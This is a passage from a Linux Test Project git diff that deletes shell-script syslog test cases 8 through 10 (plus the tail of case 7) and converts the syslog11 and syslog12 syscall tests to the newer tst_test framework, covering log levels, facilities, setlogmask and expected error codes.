-		alert_old=`grep -c "syslogtst: alert log" /var/log/messages`
-		crit_old=`grep -c "syslogtst: critical log" /var/log/messages`
-		err_old=`grep -c "syslogtst: error log" /var/log/messages`
-		warning_old=`grep -c "syslogtst: warning log" /var/log/messages`
-		notice_old=`grep -c "syslogtst: notice log" /var/log/messages`
-		info_old=`grep -c "syslogtst: info log" /var/log/messages`
-		debug_old=`grep -c "syslogtst: debug log" /var/log/messages`
-	else
-		emerg_old=0
-		alert_old=0
-		crit_old=0
-		err_old=0
-		notice_old=0
-		warning_old=0
-		notice_old=0
-		info_old=0
-		debug_old=0
-	fi
-
-	# Call syslogtst. It will send the messages of all levels.
-	if ! syslogtst 7 2>/dev/null; then
-		cleanup 1
-	fi
-	sleep 2
-
-	emerg_new=`grep -c "syslogtst: emergency log" /var/log/messages`
-	alert_new=`grep -c "syslogtst: alert log" /var/log/messages`
-	crit_new=`grep -c "syslogtst: critical log" /var/log/messages`
-	err_new=`grep -c "syslogtst: error log" /var/log/messages`
-	warning_new=`grep -c "syslogtst: warning log" /var/log/messages`
-	notice_new=`grep -c "syslogtst: notice log" /var/log/messages`
-	info_new=`grep -c "syslogtst: info log" /var/log/messages`
-	debug_new=`grep -c "syslogtst: debug log" /var/log/messages`
-
-	emerg=$(( $emerg_new - $emerg_old ))
-	alert=$(( $alert_new - $alert_old ))
-	crit=$(( $crit_new - $crit_old ))
-	err=$(( $err_new - $err_old ))
-	warning=$(( $warning_new - $warning_old ))
-	notice=$(( $notice_new - $notice_old ))
-	info=$(( $info_new - $info_old ))
-
-	if [ $emerg -ne 1 -o $alert -ne 1 -o $crit -ne 1 -o $err -ne 1 -o \
-	     $warning -ne 1 -o $notice -ne 1 -o $info -ne 1 -o \
-	     $info -ne 1 ]; then
-		status_flag=1
-	fi
-}
-
-setup
-syslog_case7
-cleanup ${status_flag:=0}
diff --git a/testcases/kernel/syscalls/syslog/syslog08 b/testcases/kernel/syscalls/syslog/syslog08
deleted file mode 100755
index 5388620..0000000
--- a/testcases/kernel/syscalls/syslog/syslog08
+++ /dev/null
@@ -1,132 +0,0 @@
-#! /bin/sh
-
-#  Copyright (c) International Business Machines  Corp., 2002
-#
-#  This program is free software;  you can redistribute it and/or modify
-#  it under the terms of the GNU General Public License as published by
-#  the Free Software Foundation; either version 2 of the License, or
-#  (at your option) any later version.
-#
-#  This program is distributed in the hope that it will be useful,
-#  but WITHOUT ANY WARRANTY;  without even the implied warranty of
-#  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
-#  the GNU General Public License for more details.
-#
-#  You should have received a copy of the GNU General Public License
-#  along with this program;  if not, write to the Free Software
-#  Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
-
-# 12/05/02  Port to bash -Robbie Williamson <robbiew@us.ibm.com>
-# 02/05/03  Modified - Manoj Iyer <manjo@mail.utexas.edu> use USCTEST macros
-#		   fixed bugs.
-# 07/26/05  Michael Reed  <mreedltp@vnet.ibm.com>
-#		   Made changes to account for the replacement of syslogd
-#		   with syslog-ng
-#
-##################################################################
-# case 8: Test all the facilities at a particular level.	 #
-#								 #
-# Facilities available are: LOG_KERN, LOG_USER, LOG_MAIL	 #
-# LOG_DAEMON, LOG_AUTH, LOG_LPR.				 #
-# Don't know how to send kernel messages from syslog()   	 #
-#								 #
-# o Create seperate entries in config file for each facility.	 #
-# o Send the message and grep for the entry in log file.	 #
-##################################################################
-
-. syslog-lib.sh || exit 1
-
-syslog_case8()
-{
-	local facility_no=1
-	local facilities="user mail daemon auth lpr"
-
-	tst_resm TINFO "testing all the facilities"
-
-	for facility in $facilities; do
-
-		tst_resm TINFO "Doing facility: $facility..."
-
-		# Create the configuration file specific to this facility
-		# Level is fixed at info.
-		case "$CONFIG_FILE" in
-		/etc/syslog.conf|/etc/rsyslog.conf)
-			echo "$RSYSLOG_CONFIG" > $CONFIG_FILE
-			echo "$facility.info	/var/log/messages" >> $CONFIG_FILE
-			echo "$facility.info	/var/log/maillog" >> $CONFIG_FILE
-			;;
-
-		/etc/syslog-ng/syslog-ng.conf)
-			echo "source src{ internal(); unix-dgram(\"/dev/log\"); udp(ip(\"0.0.0.0\") port(514)); };" > $CONFIG_FILE
-			echo "filter f_syslog-$facility { level(info) and facility($facility); };" >> $CONFIG_FILE
-			echo "destination syslog-messages { file(\"/var/log/messages\"); };" >> $CONFIG_FILE
-			echo "destination syslog-mail { file(\"/var/log/maillog\");};" >> $CONFIG_FILE
-			echo "log { source(src); filter(f_syslog-$facility); destination(syslog-mail); };"  >> $CONFIG_FILE
-			echo "log { source(src); filter(f_syslog-$facility); destination(syslog-messages); };"  >> $CONFIG_FILE
-			;;
-
-		esac
-
-		restart_syslog_daemon
-
-		if [ -e /var/log/messages ]; then
-			oldvalue=`grep -c "syslogtst: $facility info test." /var/log/messages`
-		else
-			oldvalue=0
-		fi
-
-		if [ -e /var/log/maillog ]; then
-			old_mail_check=`grep -c "syslogtst: $facility info test." /var/log/maillog`
-		else
-			old_mail_check=0
-		fi
-
-		# syslogtst has to be called with one more
-				# additional facility argument(1-6)
-		if ! syslogtst 8 $facility_no 2>/dev/null; then
-			status_flag=1
-			return
-		fi
-		sleep 2
-		# check if /var/log/maillog script exists
-		for logf in messages maillog
-		do
-			if [ ! -e /var/log/$logf ]; then
-				tst_resm TBROK "/var/log/$logf no such log file"
-				cleanup 1
-			fi
-		done
-
-		new_mail_check=`grep -c "syslogtst: $facility info test." /var/log/maillog`
-		newvalue=`grep -c "syslogtst: $facility info test." /var/log/messages`
-		diff=$(( $newvalue - $oldvalue ))
-		mail_check=$(( $new_mail_check - $old_mail_check ))
-
-		if [ $facility = "mail" ]; then
-			if [ $mail_check -ne 1 ]; then
-				tst_resm TFAIL " Facility $facility failed"
-				status_flag=1
-			elif [ $mail_check -eq 1 ]; then
-				tst_resm TPASS " Facility $facility passed"
-			fi
-		elif [ $diff -ne 1 ]; then
-			tst_resm TFAIL " Facility $facility failed"
-			status_flag=1
-		else
-			tst_resm TPASS " Facility $facility passed"
-		fi
-		# Increment the facility_no for next...
-		: $(( facility_no += 1 ))
-	done
-}
-
-tst_resm TINFO " Test all the facilities at a particular level."
-tst_resm TINFO " Facilities available are: LOG_KERN, LOG_USER, LOG_MAIL"
-tst_resm TINFO " LOG_DAEMON, LOG_AUTH, LOG_LPR."
-tst_resm TINFO " Don't know how to send kernel messages from syslog()"
-tst_resm TINFO " o Create seperate entries in config file for each facility."
-tst_resm TINFO " o Send the message and grep for the entry in log file."
-
-setup
-syslog_case8
-cleanup ${status_flag:=0}
diff --git a/testcases/kernel/syscalls/syslog/syslog09 b/testcases/kernel/syscalls/syslog/syslog09
deleted file mode 100755
index 9cfafa8..0000000
--- a/testcases/kernel/syscalls/syslog/syslog09
+++ /dev/null
@@ -1,103 +0,0 @@
-#! /bin/sh
-
-#  Copyright (c) International Business Machines  Corp., 2002
-#
-#  This program is free software;  you can redistribute it and/or modify
-#  it under the terms of the GNU General Public License as published by
-#  the Free Software Foundation; either version 2 of the License, or
-#  (at your option) any later version.
-#
-#  This program is distributed in the hope that it will be useful,
-#  but WITHOUT ANY WARRANTY;  without even the implied warranty of
-#  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
-#  the GNU General Public License for more details.
-#
-#  You should have received a copy of the GNU General Public License
-#  along with this program;  if not, write to the Free Software
-#  Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
-
-# 12/05/02  Port to bash -Robbie Williamson <robbiew@us.ibm.com>
-# 02/05/03  Modified - Manoj Iyer <manjo@mail.utexas.edu> use USCTEST macros
-#	   fixed bugs.
-# 07/27/05  Michael Reed  <mreedltp@vnet.ibm.com>
-#	   Made changes to account for the replacement of syslogd
-#	   with syslog-ng
-#
-##################################################################
-# case 9: Test setlogmask() with LOG_UPTO macro.		 #
-#								#
-#	 o Use setlogmask() with LOG_UPTO macro to set some     #
-#	    priority level.				     #
-#	 o Send message which is lower priority than the one    #
-#	   set above, which should not be logged.	       #
-##################################################################
-
-. syslog-lib.sh || exit 1
-
-syslog_case9()
-{
-	tst_resm TINFO "syslog: Testing setlogmask() with LOG_UPTO macro"
-
-	# Create the configuration file specific to this test case.
-	case "$CONFIG_FILE" in
-	/etc/syslog.conf|/etc/rsyslog.conf)
-		echo "$RSYSLOG_CONFIG" > $CONFIG_FILE
-		echo "user.debug       /var/log/messages" >> $CONFIG_FILE
-		;;
-
-	/etc/syslog-ng/syslog-ng.conf)
-		echo "source src{ internal(); unix-dgram(\"/dev/log\"); udp(ip(\"0.0.0.0\") port(514)); };" > $CONFIG_FILE
-		#echo "filter f_syslog_debug { level(debug) and facility(user); };" >> $CONFIG_FILE
-		echo "filter f_syslog_debug { facility(user); };" >> $CONFIG_FILE
-		echo "destination syslog-messages { file(\"/var/log/messages\");};" >> $CONFIG_FILE
-		echo "log { source(src); filter(f_syslog_debug); destination(syslog-messages);};" >> $CONFIG_FILE
-		;;
-	esac
-
-	restart_syslog_daemon
-
-	if [ -e /var/log/messages ]; then
-		allow1=`grep -c "syslogtst: error level is logged" /var/log/messages`
-		donot_allow1=`grep -c "syslogtst: warning level not to be logged" /var/log/messages`
-	else
-		allow1=0
-		donot_allow1=0
-	fi
-
-	if ! syslogtst 9 2>/dev/null; then
-		cleanup 1
-	fi
-	sleep 2
-
-	# check if /var/log/messages script exists
-	if [ ! -e /var/log/messages ]; then
-		tst_resm TBROK "/var/log/messages no such log file"
-		cleanup 1
-	fi
-
-	allow2=`grep -c "syslogtst: error level is logged" /var/log/messages`
-	donot_allow2=`grep -c "syslogtst: warning level not to be logged" /var/log/messages`
-
-	diff1=$(( $allow2 - $allow1 ))
-	if [ $diff1 -ne 1 ]; then
-		tst_resm TFAIL "Expected message was not logged...."
-		status_flag=1
-		return
-	fi
-
-	diff2=$(( $donot_allow2 - $donot_allow1 ))
-	if [ $diff2 -ne 0 ]; then
-		tst_resm TFAIL "Unexpected message was logged..."
-		status_flag=1
-	fi
-}
-
-tst_resm TINFO " Test setlogmask() with LOG_UPTO macro."
-tst_resm TINFO " o Use setlogmask() with LOG_UPTO macro to set some priority"
-tst_resm TINFO "   level."
-tst_resm TINFO " o Send message which is lower priority than the one"
-tst_resm TINFO "   set above, which should not be logged"
-
-setup
-syslog_case9
-cleanup ${status_flag:=0}
diff --git a/testcases/kernel/syscalls/syslog/syslog10 b/testcases/kernel/syscalls/syslog/syslog10
deleted file mode 100755
index 573ab75..0000000
--- a/testcases/kernel/syscalls/syslog/syslog10
+++ /dev/null
@@ -1,108 +0,0 @@
-#!/bin/sh
-#  Copyright (c) International Business Machines  Corp., 2002
-#
-#  This program is free software;  you can redistribute it and/or modify
-#  it under the terms of the GNU General Public License as published by
-#  the Free Software Foundation; either version 2 of the License, or
-#  (at your option) any later version.
-#
-#  This program is distributed in the hope that it will be useful,
-#  but WITHOUT ANY WARRANTY;  without even the implied warranty of
-#  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
-#  the GNU General Public License for more details.
-#
-#  You should have received a copy of the GNU General Public License
-#  along with this program;  if not, write to the Free Software
-#  Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
-#
-# 12/05/02  Port to bash -Robbie Williamson <robbiew@us.ibm.com>
-# 02/05/03  Modified - Manoj Iyer <manjo@mail.utexas.edu> use USCTEST macros
-#	   fixed bugs.
-# 07/26/05  Michael Reed  <mreedltp@vnet.ibm.com>
-#	   Made changes to account for the replacement of syslogd
-#	   with syslog-ng
-#
-##################################################################
-# case 10: Test setlogmask() with LOG_MASK macro.		#
-#								#
-#	 o Use setlogmask() with LOG_MASK macro to set an       #
-#		individual priority level.			  #
-#	 o Send the message of above prority and expect it to   #
-#	   be logged.					   #
-#	 o Send message which is below the priority level to    #
-#	   the one set above, which should not be logged.       #
-##################################################################
-
-. syslog-lib.sh || exit 1
-
-syslog_case10()
-{
-	tst_resm TINFO "syslog: Testing setlogmask() with LOG_MASK macro..."
-
-	# Create the configuration file specific to this test case.
-	case "$CONFIG_FILE" in
-	/etc/syslog.conf|/etc/rsyslog.conf)
-		echo "$RSYSLOG_CONFIG" > $CONFIG_FILE
-		echo "user.debug       /var/log/messages" >> $CONFIG_FILE
-		;;
-
-	/etc/syslog-ng/syslog-ng.conf)
-		echo "source src{ internal(); unix-dgram(\"/dev/log\"); udp(ip(\"0.0.0.0\") port(514)); };" > $CONFIG_FILE
-		echo "filter f_syslog_debug{ facility(user); };" >> $CONFIG_FILE
-		echo "destination syslog_messages { file(\"/var/log/messages\");};" >> $CONFIG_FILE
-		echo "log { source(src); filter(f_syslog_debug); destination(syslog_messages); };" >> $CONFIG_FILE
-		;;
-
-	esac
-
-	restart_syslog_daemon
-
-	if [ -e /var/log/messages ]; then
-		allow1=`grep -c "syslogtst:10 error level is logged" /var/log/messages`
-		donot_allow1=`grep -c "syslogtst:10 warning level not to be logged" /var/log/messages`
-	else
-		allow1=0
-		donot_allow1=0
-	fi
-
-	if ! syslogtst 10 2>/dev/null; then
-		status_flag=1
-		return
-	fi
-	sleep 2
-
-	# check if /var/log/messages script exists
-	if [ ! -e /var/log/messages ]; then
-		tst_resm TBROK "/var/log/messages no such log file"
-		cleanup 1
-	fi
-
-	allow2=`grep -c "syslogtst:10 error level is logged" /var/log/messages`
-	donot_allow2=`grep -c "syslogtst:10 warning level not to be logged" /var/log/messages`
-
-	diff1=$(( $allow2 - $allow1 ))
-	if [ $diff1 -ne 1 ]; then
-		tst_resm TFAIL "Expected message was not logged...."
-		status_flag=1
-		return
-	fi
-
-	diff2=$(( $donot_allow2 - $donot_allow1 ))
-	if [ $diff2 -ne 0 ]; then
-		tst_resm TFAIL "Unexpected message was logged..."
-		status_flag=1
-	fi
-
-}
-
-tst_resm TINFO " Test setlogmask() with LOG_MASK macro."
-tst_resm TINFO " o Use setlogmask() with LOG_MASK macro to set an"
-tst_resm TINFO "   individual priority level."
-tst_resm TINFO " o Send the message of above prority and expect it to be"
-tst_resm TINFO "   logged."
-tst_resm TINFO " o Send message which is at other priority level to"
-tst_resm TINFO "   the one set above, which should not be logged."
-
-setup
-syslog_case10
-cleanup ${status_flag:=0}
diff --git a/testcases/kernel/syscalls/syslog/syslog11.c b/testcases/kernel/syscalls/syslog/syslog11.c
index b9540ef..ca1ecbb 100644
--- a/testcases/kernel/syscalls/syslog/syslog11.c
+++ b/testcases/kernel/syscalls/syslog/syslog11.c
@@ -1,212 +1,66 @@
+// SPDX-License-Identifier: GPL-2.0-only
 /*
  * Copyright (c) Wipro Technologies Ltd, 2002.  All Rights Reserved.
- *
- * This program is free software; you can redistribute it and/or modify it
- * under the terms of version 2 of the GNU General Public License as
- * published by the Free Software Foundation.
- *
- * This program is distributed in the hope that it would be useful, but
- * WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
- *
- * You should have received a copy of the GNU General Public License along
- * with this program; if not, write the Free Software Foundation, Inc.,
- * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
- *
+ * Author: Madhu T L <madhu.tarikere@wipro.com>
  */
-/**********************************************************
+
+/*
+ * [Description]
  *
- *    TEST IDENTIFIER   : syslog11
- *
- *    EXECUTED BY       : root / superuser
- *
- *    TEST TITLE        : Basic tests for syslog(2)
- *
- *    TEST CASE TOTAL   : 11
- *
- *    AUTHOR            : Madhu T L <madhu.tarikere@wipro.com>
- *
- *    SIGNALS
- *      Uses SIGUSR1 to pause before test if option set.
- *      (See the parse_opts(3) man page).
- *
- *    DESCRIPTION
- *	Verify that, syslog(2) is successful for type ranging from 1 to 8
- *
- *	Setup:
- *	  Setup signal handling.
- *	  Test caller is superuser
- *	  Check existence of user nobody
- *	  Pause for SIGUSR1 if option specified.
- *
- *	Test:
- *	 Loop if the proper options are given.
- *	  Execute system call
- *	  Check return value, if not successful,
- *		 Issue FAIL message
- *	  Otherwise,
- *		Issue PASS message
- *
- *	Cleanup:
- *	  Print errno log and/or timing stats if options given
- *
- * USAGE:  <for command-line>
- *  syslog11 [-c n] [-e] [-f] [-h] [-i n] [-I x] [-p] [-P x] [-t]
- *		where,  -c n : Run n copies concurrently.
- *			-e   : Turn on errno logging.
- *			-f   : Turn off functional testing
- *			-h   : Show help screen
- *			-i n : Execute test n times.
- *			-I x : Execute test for x seconds.
- *			-p   : Pause for SIGUSR1 before starting
- *			-P x : Pause for x seconds between iterations.
- *			-t   : Turn on syscall timing.
- *
- ****************************************************************/
+ * Verify that, syslog(2) is successful for type ranging from 1 to 8
+ */
 
 #include <errno.h>
-#include <pwd.h>
-#include <sys/types.h>
-#include <unistd.h>
-#include <linux/unistd.h>
-#include <sys/syscall.h>
-#include "test.h"
-#include "safe_macros.h"
 
-#define UNEXP_RET_VAL	-1
+#include "tst_test.h"
+#include "lapi/syscalls.h"
+#include "tst_safe_macros.h"
 
-struct test_case_t {		/* test case structure */
-	int type;		/* 1st arg. */
-	char *buf;		/* 2nd arg. */
-	int len;		/* 3rd arg. */
-	int (*setup) (void);	/* Individual setup routine */
-	void (*cleanup) (void);	/* Individual cleanup routine */
-	char *desc;		/* Test description */
+struct tcase {
+	int type;
+	char *buf;
+	int len;
+	char *desc;
 };
 
-char *TCID = "syslog11";
-static int testno;
 static char buf;
-static struct passwd *ltpuser;
 
-static void setup(void);
-static void cleanup(void);
-static int setup1(void);
-static void cleanup1(void);
+#define syslog(arg1, arg2, arg3) tst_syscall(__NR_syslog, arg1, arg2, arg3)
 
-#define syslog(arg1, arg2, arg3) syscall(__NR_syslog, arg1, arg2, arg3)
-
-static struct test_case_t tdat[] = {
+static struct tcase tcases[] = {
 	/* Type 0 and 1 are currently not implemented, always returns success */
-	{0, &buf, 0, NULL, NULL, "type 0/Close the log"},
-	{1, &buf, 0, NULL, NULL, "type 1/Open the log"},
-	{2, &buf, 0, NULL, NULL, "type 2/Read from the log"},
-	{3, &buf, 0, NULL, NULL, "type 3/Read ring buffer"},
-	{3, &buf, 0, setup1, cleanup1, "type 3/Read ring buffer for non-root "
-	 "user"},
-	/* Next two lines will clear dmesg. Uncomment if that is okay. -Robbie Williamson */
-	/*    { 4, &buf, 0, NULL, NULL, "type 4/Read and clear ring buffer" },            */
-	/*    { 5, &buf, 0, NULL, NULL, "type 5/Clear ring buffer" },                     */
-
-	{8, NULL, 1, NULL, NULL, "type 8/Set log level to 1"},
-	{8, NULL, 7, NULL, NULL, "type 8/Set log level to 7(default)"},
-	{6, NULL, 0, NULL, NULL, "type 6/Disable printk's to console"},
-	{7, NULL, 0, NULL, NULL, "type 7/Enable printk's to console"},
+	{0, &buf, 0, "type 0/Close the log"},
+	{1, &buf, 0, "type 1/Open the log"},
+	{2, &buf, 0, "type 2/Read from the log"},
+	{3, &buf, 0, "type 3/Read ring buffer"},
+	/*
+	 * Next two lines will clear dmesg.
+	 * Uncomment if that is okay. -Robbie Williamson
+	 */
+	/*
+	 * { 4, &buf, 0, "type 4/Read and clear ring buffer" },
+	 * { 5, &buf, 0, "type 5/Clear ring buffer" },
+	 */
+	{8, NULL, 1, "type 8/Set log level to 1"},
+	{8, NULL, 7, "type 8/Set log level to 7(default)"},
+	{6, NULL, 0, "type 6/Disable printk's to console"},
+	{7, NULL, 0, "type 7/Enable printk's to console"},
 };
 
-int TST_TOTAL = sizeof(tdat) / sizeof(tdat[0]);
-
-int main(int argc, char **argv)
+static void run(unsigned int n)
 {
-	int lc;
+	struct tcase *tc = &tcases[n];
 
-	tst_parse_opts(argc, argv, NULL, NULL);
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		/* reset tst_count in case we are looping */
-		tst_count = 0;
-
-		for (testno = 0; testno < TST_TOTAL; ++testno) {
-
-			if (tdat[testno].setup && tdat[testno].setup()) {
-				/* Setup failed, skip this testcase */
-				continue;
-			}
-
-			TEST(syslog(tdat[testno].type, tdat[testno].buf,
-				    tdat[testno].len));
-
-			if (TEST_RETURN == UNEXP_RET_VAL) {
-				if (TEST_ERRNO == EPERM && geteuid() != 0) {
-					tst_resm(TPASS,
-						 "syslog() passed for %s (non-root EPERM is OK)",
-						 tdat[testno].desc);
-				} else {
-					tst_resm(TFAIL,
-						 "syslog() failed for %s: errno "
-						 "%d (%s)", tdat[testno].desc,
-						 TEST_ERRNO, strerror(errno));
-				}
-			} else {
-				tst_resm(TPASS, "syslog() successful for %s",
-					 tdat[testno].desc);
-			}
-
-			if (tdat[testno].cleanup) {
-				tdat[testno].cleanup();
-			}
-		}
-	}
-	cleanup();
-
-	tst_exit();
+	TST_EXP_PASS(syslog(tc->type, tc->buf, tc->len),
+			"syslog() with %s", tc->desc);
 }
 
-int setup1(void)
-{
-	/* Change effective user id to nodody */
-	if (seteuid(ltpuser->pw_uid) == -1) {
-		tst_resm(TBROK, "seteuid failed to set the effective"
-			 " uid to %d", ltpuser->pw_uid);
-		return 1;
-	}
-	return 0;
-}
-
-void cleanup1(void)
-{
-	/* Change effective user id to root */
-	SAFE_SETEUID(NULL, 0);
-}
-
-/*
- * setup()
- *	performs all ONE TIME setup for this test
- */
-void setup(void)
-{
-	tst_require_root();
-
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-
-	/* Check for nobody_uid user id */
-	if ((ltpuser = getpwnam("nobody")) == NULL) {
-		tst_brkm(TBROK, NULL, "nobody user id doesn't exist");
-	}
-
-	/* Pause if that option was specified
-	 * TEST_PAUSE contains the code to fork the test with the -c option.
-	 */
-	TEST_PAUSE;
-}
-
-/*
- * cleanup()
- *	performs all ONE TIME cleanup for this test at
- *	completion or premature exit
- */
-void cleanup(void)
-{
-
-}
+static struct tst_test test = {
+	.test = run,
+	.save_restore = (const struct tst_path_val[]) {
+		{"!/proc/sys/kernel/printk", NULL},
+		{}
+	},
+	.needs_root = 1,
+	.tcnt = ARRAY_SIZE(tcases),
+};
diff --git a/testcases/kernel/syscalls/syslog/syslog12.c b/testcases/kernel/syscalls/syslog/syslog12.c
index ac28d43..e8b39a1 100644
--- a/testcases/kernel/syscalls/syslog/syslog12.c
+++ b/testcases/kernel/syscalls/syslog/syslog12.c
@@ -1,233 +1,84 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
+ * Copyright (c) 2022 Petr Vorel <pvorel@suse.cz>
  * Copyright (c) Wipro Technologies Ltd, 2002.  All Rights Reserved.
- *
- * This program is free software; you can redistribute it and/or modify it
- * under the terms of version 2 of the GNU General Public License as
- * published by the Free Software Foundation.
- *
- * This program is distributed in the hope that it would be useful, but
- * WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
- *
- * You should have received a copy of the GNU General Public License along
- * with this program; if not, write the Free Software Foundation, Inc.,
- * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
- *
+ * Author: Madhu T L <madhu.tarikere@wipro.com>
  */
-/**********************************************************
+
+/*\
+ * [Description]
  *
- *    TEST IDENTIFIER   : syslog12
+ * Verify that syslog(2) system call fails with appropriate error number:
  *
- *    EXECUTED BY       : root / superuser
- *
- *    TEST TITLE        : Checking error conditions for syslog(2)
- *
- *    TEST CASE TOTAL   : 7
- *
- *    AUTHOR            : Madhu T L <madhu.tarikere@wipro.com>
- *
- *    SIGNALS
- *      Uses SIGUSR1 to pause before test if option set.
- *      (See the parse_opts(3) man page).
- *
- *    DESCRIPTION
- *	Verify that,
- *	1. syslog(2) fails with EINVAL for invalid type/command
- *	2. syslog(2) fails with EFAULT for buffer outside program's  accessible
- *	   address space.
- *	3. syslog(2) fails with EINVAL for NULL buffer argument.
- *	4. syslog(2) fails with EINVAL for length arg. set to negative value.
- *	5. syslog(2) fails with EPERM for non-root user.
- *	6. syslog(2) fails with EINVAL for console level less than 0.
- *	7. syslog(2) fails with EINVAL for console level greater than 8.
- *
- *      Setup:
- *	  Setup signal handling.
- *	  Test caller is superuser
- *	  Check existence of user nobody
- *	  Set expected errnos
- *	  Pause for SIGUSR1 if option specified.
- *
- *	Test:
- *	 Loop if the proper options are given.
- *	  Execute system call
- *	  Check return value and errno, if matching,
- *		 Issue PASS message
- *	  Otherwise,
- *		Issue FAIL message
- *
- *	Cleanup:
- *	  Print errno log and/or timing stats if options given
- *
- * USAGE:  <for command-line>
- *  syslog12 [-c n] [-e] [-f] [-h] [-i n] [-I x] [-p] [-P x] [-t]
- *		where,  -c n : Run n copies concurrently.
- *			-e   : Turn on errno logging.
- *			-f   : Turn off functional testing
- *			-h   : Show help screen
- *			-i n : Execute test n times.
- *			-I x : Execute test for x seconds.
- *			-p   : Pause for SIGUSR1 before starting
- *			-P x : Pause for x seconds between iterations.
- *			-t   : Turn on syscall timing.
- *
- ****************************************************************/
+ * 1. EINVAL -- invalid type/command
+ * 2. EFAULT -- buffer outside program's accessible address space
+ * 3. EINVAL -- NULL buffer argument
+ * 4. EINVAL -- length argument set to negative value
+ * 5. EINVAL -- console level less than 0
+ * 6. EINVAL -- console level greater than 8
+ * 7. EPERM -- non-root user
+ */
 
 #include <errno.h>
 #include <pwd.h>
-#include <sys/types.h>
-#include <unistd.h>
-#include <signal.h>
-#include <linux/unistd.h>
-#include <sys/syscall.h>
-#include "test.h"
-#include "safe_macros.h"
 
-#define EXP_RET_VAL	-1
+#include "tst_test.h"
+#include "lapi/syscalls.h"
+#include "tst_safe_macros.h"
 
-struct test_case_t {		/* test case structure */
-	int type;		/* 1st arg */
-	char *buf;		/* 2nd arg */
-	int len;		/* 3rd arg */
-	int exp_errno;		/* Expected errno */
-	int (*setup) (void);	/* Individual setup routine */
-	void (*cleanup) (void);	/* Individual cleanup routine */
-	char *desc;		/* Test description */
-};
-
-char *TCID = "syslog12";
-static int testno;
+#define syslog(arg1, arg2, arg3) tst_syscall(__NR_syslog, arg1, arg2, arg3)
 
 static char buf;
 static struct passwd *ltpuser;
 
-static void setup(void);
-static void cleanup(void);
-static int setup1(void);
-static void cleanup1(void);
+static void setup(void)
+{
+	ltpuser = SAFE_GETPWNAM("nobody");
+}
 
-#define syslog(arg1, arg2, arg3) syscall(__NR_syslog, arg1, arg2, arg3)
+static void setup_nonroot(void)
+{
+	SAFE_SETEGID(ltpuser->pw_gid);
+	SAFE_SETEUID(ltpuser->pw_uid);
+}
 
-static struct test_case_t tdat[] = {
-	{100, &buf, 0, EINVAL, NULL, NULL, "invalid type/command"},
-	{2, NULL, 0, EINVAL, NULL, NULL, "NULL buffer argument"},
-	{3, &buf, -1, EINVAL, NULL, NULL, "negative length argument"},
-	{2, &buf, 0, EPERM, setup1, cleanup1, "non-root user"},
-	{8, &buf, -1, EINVAL, NULL, NULL, "console level less than 0"},
-	{8, &buf, 9, EINVAL, NULL, NULL, "console level greater than 8"},
+static void cleanup_nonroot(void)
+{
+	SAFE_SETEUID(0);
+}
+
+static struct tcase {
+	int type;
+	char *buf;
+	int len;
+	int exp_errno;
+	char *desc;
+} tcases[] = {
+	{100, &buf, 0, EINVAL, "invalid type/command"},
+	{2, NULL, 0, EINVAL, "NULL buffer argument"},
+	{3, &buf, -1, EINVAL, "negative length argument"},
+	{8, &buf, -1, EINVAL, "console level less than 0"},
+	{8, &buf, 9, EINVAL, "console level greater than 8"},
+	{2, &buf, 0, EPERM, "non-root user"},
 };
 
-int TST_TOTAL = sizeof(tdat) / sizeof(tdat[0]);
-
-void timeout(int sig)
+static void run(unsigned int n)
 {
-	tst_resm(TWARN, "syslog() timeout after 1s"
-		 " for %s", tdat[testno].desc);
+	struct tcase *tc = &tcases[n];
+
+	if (n == ARRAY_SIZE(tcases)-1)
+		setup_nonroot();
+
+	TST_EXP_FAIL(syslog(tc->type, tc->buf, tc->len), tc->exp_errno,
+		"syslog() with %s", tc->desc);
+
+	if (n == ARRAY_SIZE(tcases)-1)
+		cleanup_nonroot();
 }
 
-int main(int argc, char **argv)
-{
-	int lc;
-	struct sigaction sa;
-	int ret;
-
-	tst_parse_opts(argc, argv, NULL, NULL);
-
-	setup();
-
-	memset(&sa, 0, sizeof(struct sigaction));
-	sa.sa_handler = timeout;
-	sa.sa_flags = 0;
-	sigaction(SIGALRM, &sa, NULL);
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		/* reset tst_count in case we are looping */
-		tst_count = 0;
-
-		for (testno = 0; testno < TST_TOTAL; ++testno) {
-
-			if (tdat[testno].setup && tdat[testno].setup()) {
-				/* Setup failed, skip this testcase */
-				continue;
-			}
-
-			alarm(1);
-
-			TEST(syslog(tdat[testno].type, tdat[testno].buf,
-				    tdat[testno].len));
-
-			alarm(0);
-			/* syslog returns an int, so we need to turn the long
-			 * TEST_RETURN into an int to test with */
-			ret = TEST_RETURN;
-			if ((ret == EXP_RET_VAL) &&
-			    (TEST_ERRNO == tdat[testno].exp_errno)) {
-				tst_resm(TPASS, "syslog() failed as expected"
-					 " for %s : errno %d",
-					 tdat[testno].desc, TEST_ERRNO);
-			} else {
-				tst_resm(TFAIL, "syslog() returned "
-					 "unexpected results for %s ; returned"
-					 " %d (expected %d), errno %d (expected"
-					 " %d)", tdat[testno].desc,
-					 ret, EXP_RET_VAL, TEST_ERRNO,
-					 tdat[testno].exp_errno);
-			}
-
-			if (tdat[testno].cleanup) {
-				tdat[testno].cleanup();
-			}
-		}
-	}
-	cleanup();
-
-	tst_exit();
-}
-
-int setup1(void)
-{
-	/* Change effective user id to nodody */
-	if (seteuid(ltpuser->pw_uid) == -1) {
-		tst_resm(TBROK, "seteuid failed to set the effective"
-			 " uid to %d", ltpuser->pw_uid);
-		return 1;
-	}
-	return 0;
-}
-
-void cleanup1(void)
-{
-	/* Change effective user id to root */
-	SAFE_SETEUID(NULL, 0);
-}
-
-/*
- * setup()
